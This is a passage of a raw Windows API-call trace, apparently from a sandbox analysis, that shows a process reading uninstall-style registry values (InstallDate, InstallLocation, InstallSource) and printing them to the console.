dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.347] GetConsoleOutputCP () returned 0x1b5 [0148.347] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.347] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.347] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.348] __iob_func () returned 0x7fefd702a80 [0148.348] _fileno (_File=0x7fefd702ab0) returned 1 [0148.348] _errno () returned 0xc4bb0 [0148.348] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.348] _errno () returned 0xc4bb0 [0148.348] GetFileType (hFile=0x50) returned 0x1 [0148.348] lstrlenW (lpString="") returned 0 [0148.348] __iob_func () returned 0x7fefd702a80 [0148.348] _fileno (_File=0x7fefd702ab0) returned 1 [0148.348] _errno () returned 0xc4bb0 [0148.348] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.348] _errno () returned 0xc4bb0 [0148.348] GetFileType (hFile=0x50) returned 0x1 [0148.348] lstrlenW (lpString="\n") returned 1 [0148.348] GetConsoleOutputCP () returned 0x1b5 [0148.348] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.349] GetConsoleOutputCP () returned 0x1b5 [0148.349] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.349] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.349] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.349] GetProcessHeap () returned 0x2e0000 [0148.349] GetProcessHeap () returned 0x2e0000 [0148.349] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.349] GetProcessHeap () returned 0x2e0000 [0148.349] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.349] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.349] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.349] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x14) returned 0x0 [0148.349] GetProcessHeap () returned 0x2e0000 [0148.349] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x16) returned 0x2fd1a0 [0148.349] GetProcessHeap () returned 0x2e0000 [0148.349] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0148.349] GetProcessHeap () returned 0x2e0000 [0148.349] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0148.349] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd1a0, pcbData=0x23f670*=0x14 | out: pdwType=0x23f5f0*=0x1, pvData="20170630", pcbData=0x23f670*=0x12) returned 0x0 [0148.349] __iob_func () returned 0x7fefd702a80 [0148.349] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.349] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.349] _fileno (_File=0x7fefd702ab0) returned 1 [0148.349] _errno () returned 0xc4bb0 [0148.349] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.349] _errno () returned 0xc4bb0 [0148.349] GetFileType (hFile=0x50) returned 0x1 [0148.349] lstrlenW (lpString=" ") returned 4 [0148.350] GetConsoleOutputCP () returned 0x1b5 [0148.350] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.350] GetConsoleOutputCP () returned 0x1b5 [0148.350] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.350] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.350] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.350] lstrlenW (lpString="InstallDate") returned 11 [0148.350] __iob_func () returned 0x7fefd702a80 [0148.350] _fileno (_File=0x7fefd702ab0) returned 1 [0148.350] _errno () returned 0xc4bb0 [0148.350] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.350] _errno () returned 0xc4bb0 [0148.350] GetFileType (hFile=0x50) returned 0x1 [0148.350] lstrlenW (lpString="InstallDate") returned 11 [0148.350] GetConsoleOutputCP () returned 0x1b5 [0148.350] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0148.350] GetConsoleOutputCP () returned 0x1b5 [0148.350] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0148.350] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0148.350] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.351] __iob_func () returned 0x7fefd702a80 [0148.351] _fileno (_File=0x7fefd702ab0) returned 1 [0148.351] _errno () returned 0xc4bb0 [0148.351] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.351] _errno () returned 0xc4bb0 [0148.351] GetFileType (hFile=0x50) returned 0x1 [0148.351] lstrlenW (lpString=" ") returned 4 [0148.351] GetConsoleOutputCP () returned 0x1b5 [0148.351] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.351] GetConsoleOutputCP () returned 0x1b5 [0148.351] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.351] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.351] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.351] __iob_func () returned 0x7fefd702a80 [0148.351] _fileno (_File=0x7fefd702ab0) returned 1 [0148.351] _errno () returned 0xc4bb0 [0148.351] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.351] _errno () returned 0xc4bb0 [0148.351] GetFileType (hFile=0x50) returned 0x1 [0148.351] lstrlenW (lpString="REG_SZ") returned 6 [0148.351] GetConsoleOutputCP () returned 0x1b5 [0148.351] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.351] GetConsoleOutputCP () returned 0x1b5 [0148.352] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.352] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.352] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.352] __iob_func () returned 0x7fefd702a80 [0148.352] _fileno (_File=0x7fefd702ab0) returned 1 [0148.352] _errno () returned 0xc4bb0 [0148.352] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.352] _errno () returned 0xc4bb0 [0148.352] GetFileType (hFile=0x50) returned 0x1 [0148.352] lstrlenW (lpString=" ") returned 4 [0148.352] GetConsoleOutputCP () returned 0x1b5 [0148.352] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.352] GetConsoleOutputCP () returned 0x1b5 [0148.352] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.352] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.352] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.352] __iob_func () returned 0x7fefd702a80 [0148.352] _fileno (_File=0x7fefd702ab0) returned 1 [0148.352] _errno () returned 0xc4bb0 [0148.352] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.352] _errno () returned 0xc4bb0 [0148.352] GetFileType (hFile=0x50) returned 0x1 [0148.352] lstrlenW (lpString="20170630") returned 8 [0148.352] GetConsoleOutputCP () returned 0x1b5 [0148.353] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.353] GetConsoleOutputCP () returned 0x1b5 [0148.353] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170630", lpUsedDefaultChar=0x0) returned 8 [0148.353] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.353] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.353] __iob_func () returned 0x7fefd702a80 [0148.353] _fileno (_File=0x7fefd702ab0) returned 1 [0148.353] _errno () returned 0xc4bb0 [0148.353] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.353] _errno () returned 0xc4bb0 [0148.353] GetFileType (hFile=0x50) returned 0x1 [0148.353] lstrlenW (lpString="\n") returned 1 [0148.353] GetConsoleOutputCP () returned 0x1b5 [0148.353] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.353] GetConsoleOutputCP () returned 0x1b5 [0148.353] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.353] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.353] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.353] GetProcessHeap () returned 0x2e0000 [0148.353] GetProcessHeap () returned 0x2e0000 [0148.354] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0148.354] GetProcessHeap () returned 0x2e0000 [0148.354] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0148.354] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0 | out: hHeap=0x2e0000) returned 1 [0148.354] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.354] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.354] GetProcessHeap () returned 0x2e0000 [0148.354] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.354] GetProcessHeap () returned 0x2e0000 [0148.354] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.354] GetProcessHeap () returned 0x2e0000 [0148.354] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.354] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.354] __iob_func () returned 0x7fefd702a80 [0148.354] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.354] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.354] _fileno (_File=0x7fefd702ab0) returned 1 [0148.354] _errno () returned 0xc4bb0 [0148.354] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.354] _errno () returned 0xc4bb0 [0148.354] GetFileType (hFile=0x50) returned 0x1 [0148.354] lstrlenW (lpString=" ") returned 4 [0148.354] GetConsoleOutputCP () returned 0x1b5 [0148.354] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.354] GetConsoleOutputCP () returned 0x1b5 [0148.354] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.354] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.355] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.355] lstrlenW (lpString="InstallLocation") returned 15 [0148.355] __iob_func () returned 0x7fefd702a80 [0148.355] _fileno (_File=0x7fefd702ab0) returned 1 [0148.355] _errno () returned 0xc4bb0 [0148.355] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.355] _errno () returned 0xc4bb0 [0148.355] GetFileType (hFile=0x50) returned 0x1 [0148.355] lstrlenW (lpString="InstallLocation") returned 15 [0148.355] GetConsoleOutputCP () returned 0x1b5 [0148.355] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0148.355] GetConsoleOutputCP () returned 0x1b5 [0148.355] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0148.355] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0148.355] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.355] __iob_func () returned 0x7fefd702a80 [0148.355] _fileno (_File=0x7fefd702ab0) returned 1 [0148.355] _errno () returned 0xc4bb0 [0148.355] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.355] _errno () returned 0xc4bb0 [0148.355] GetFileType (hFile=0x50) returned 0x1 [0148.355] lstrlenW (lpString=" ") returned 4 [0148.355] GetConsoleOutputCP () returned 0x1b5 [0148.355] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.356] GetConsoleOutputCP () returned 0x1b5 [0148.356] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.356] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.356] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.356] __iob_func () returned 0x7fefd702a80 [0148.356] _fileno (_File=0x7fefd702ab0) returned 1 [0148.356] _errno () returned 0xc4bb0 [0148.356] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.356] _errno () returned 0xc4bb0 [0148.356] GetFileType (hFile=0x50) returned 0x1 [0148.356] lstrlenW (lpString="REG_SZ") returned 6 [0148.356] GetConsoleOutputCP () returned 0x1b5 [0148.356] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.356] GetConsoleOutputCP () returned 0x1b5 [0148.356] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.356] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.356] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.356] __iob_func () returned 0x7fefd702a80 [0148.356] _fileno (_File=0x7fefd702ab0) returned 1 [0148.356] _errno () returned 0xc4bb0 [0148.356] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.356] _errno () returned 0xc4bb0 [0148.356] GetFileType (hFile=0x50) returned 0x1 [0148.356] lstrlenW (lpString=" ") returned 4 [0148.357] GetConsoleOutputCP () returned 0x1b5 [0148.357] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.357] GetConsoleOutputCP () returned 0x1b5 [0148.357] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.357] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.357] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.357] __iob_func () returned 0x7fefd702a80 [0148.357] _fileno (_File=0x7fefd702ab0) returned 1 [0148.357] _errno () returned 0xc4bb0 [0148.357] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.357] _errno () returned 0xc4bb0 [0148.357] GetFileType (hFile=0x50) returned 0x1 [0148.357] lstrlenW (lpString="") returned 0 [0148.357] __iob_func () returned 0x7fefd702a80 [0148.357] _fileno (_File=0x7fefd702ab0) returned 1 [0148.357] _errno () returned 0xc4bb0 [0148.357] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.357] _errno () returned 0xc4bb0 [0148.357] GetFileType (hFile=0x50) returned 0x1 [0148.357] lstrlenW (lpString="\n") returned 1 [0148.357] GetConsoleOutputCP () returned 0x1b5 [0148.357] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.357] GetConsoleOutputCP () returned 0x1b5 [0148.358] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.358] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.358] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.358] GetProcessHeap () returned 0x2e0000 [0148.358] GetProcessHeap () returned 0x2e0000 [0148.358] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.358] GetProcessHeap () returned 0x2e0000 [0148.358] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.358] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.358] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.358] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x64) returned 0x0 [0148.358] GetProcessHeap () returned 0x2e0000 [0148.358] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x66) returned 0x3019a0 [0148.358] GetProcessHeap () returned 0x2e0000 [0148.358] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0) returned 1 [0148.358] GetProcessHeap () returned 0x2e0000 [0148.358] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x3019a0) returned 0x66 [0148.358] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x3019a0, pcbData=0x23f670*=0x64 | out: pdwType=0x23f5f0*=0x1, pvData="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\IXP000.TMP\\", pcbData=0x23f670*=0x62) returned 0x0 [0148.358] __iob_func () returned 0x7fefd702a80 [0148.358] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.358] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.358] _fileno (_File=0x7fefd702ab0) returned 1 [0148.358] _errno () returned 0xc4bb0 [0148.358] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.358] _errno () returned 0xc4bb0 [0148.358] GetFileType (hFile=0x50) returned 0x1 [0148.358] lstrlenW (lpString=" ") returned 4 [0148.358] GetConsoleOutputCP () returned 0x1b5 [0148.359] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.359] GetConsoleOutputCP () returned 0x1b5 [0148.359] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.359] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.359] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.359] lstrlenW (lpString="InstallSource") returned 13 [0148.359] __iob_func () returned 0x7fefd702a80 [0148.359] _fileno (_File=0x7fefd702ab0) returned 1 [0148.359] _errno () returned 0xc4bb0 [0148.359] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.359] _errno () returned 0xc4bb0 [0148.359] GetFileType (hFile=0x50) returned 0x1 [0148.359] lstrlenW (lpString="InstallSource") returned 13 [0148.359] GetConsoleOutputCP () returned 0x1b5 [0148.359] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.359] GetConsoleOutputCP () returned 0x1b5 [0148.359] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0148.359] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.359] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.359] __iob_func () returned 0x7fefd702a80 [0148.359] _fileno (_File=0x7fefd702ab0) returned 1 [0148.359] _errno () returned 0xc4bb0 [0148.359] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.360] _errno () returned 0xc4bb0 [0148.360] GetFileType (hFile=0x50) returned 0x1 [0148.360] lstrlenW (lpString=" ") returned 4 [0148.360] GetConsoleOutputCP () returned 0x1b5 [0148.360] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.360] GetConsoleOutputCP () returned 0x1b5 [0148.360] WideCharToMultiByte (in: CodePage=0x1b5, 